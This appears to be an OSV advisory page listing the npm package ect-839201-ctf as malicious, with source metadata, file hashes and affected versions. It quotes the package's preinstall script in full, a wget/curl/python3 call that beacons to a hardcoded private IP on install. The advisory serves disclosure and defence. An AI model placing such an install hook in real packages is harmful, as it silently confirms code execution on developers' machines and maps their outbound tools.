MAL-2026-5721

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ect-839201-ctf/MAL-2026-5721.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5721
Published
2026-06-12T21:31:00Z
Modified
2026-06-12T21:46:46.961150062Z
Summary
Malicious code in ect-839201-ctf (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb)

On npm install, package.json's preinstall script executes wget http://10.107.121.85:8000/callback_wget || curl http://10.107.121.85:8000/callback_curl || python3 -c "import urllib.request; urllib.request.urlopen('http://10.107.121.85:8000/callback_py')". This unconditionally beacons to a hardcoded RFC1918 IP over plain HTTP with three different callback paths corresponding to the tool that succeeded — a recon primitive that confirms arbitrary code execution on the installer's machine and enumerates which outbound utilities are available. The package's own description is "Probe", and it ships no functional code. There is no legitimate package-functional purpose for the beacon; the install-time outbound request is the package's entire behavior.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-006245",
            "import_time": "2026-06-12T21:38:19.284971327Z",
            "sha256": "bda37f74ff0d1b56cb7805906d4fd32a7e2ccc15aa96768d9f9e510202712dcb",
            "source": "amazon-inspector",
            "modified_time": "2026-06-12T21:31:00Z",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / ect-839201-ctf

Package

Name
ect-839201-ctf
View open source insights on deps.dev
Purl
pkg:npm/ect-839201-ctf

Affected ranges

Affected versions

1.*
1.0.0

Database specific

source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/ect-839201-ctf/MAL-2026-5721.json"
cwes 
[
    {
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code",
        "description": "The product contains code that appears to be malicious in nature."
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "fb0f34a86198b457aa539e0fc19c5c2cc6553f5a8a3aacecd850ed0203302582",
            "tlsh": "cee068687860e423a2d4f765dc228e297576ea8a00d0380ad7e3160c85ece2330bce0c"
        }
    ],
    "package_integrity": [
        {
            "filename": "ect-839201-ctf-1.0.0.tgz",
            "hashes": {
                "sha512_sri": "sha512-z9NZe8oOMlDpEOkosd6n/D3FYk5rpdqj8iJai1ab9pFSSB1wbRdlCGScakl88nEwm4QD43zclSYWzuNh+DIGuQ==",
                "sha1": "239b3bdf03e523637205c24840e5b66ddc85f984"
            }
        }
    ]
}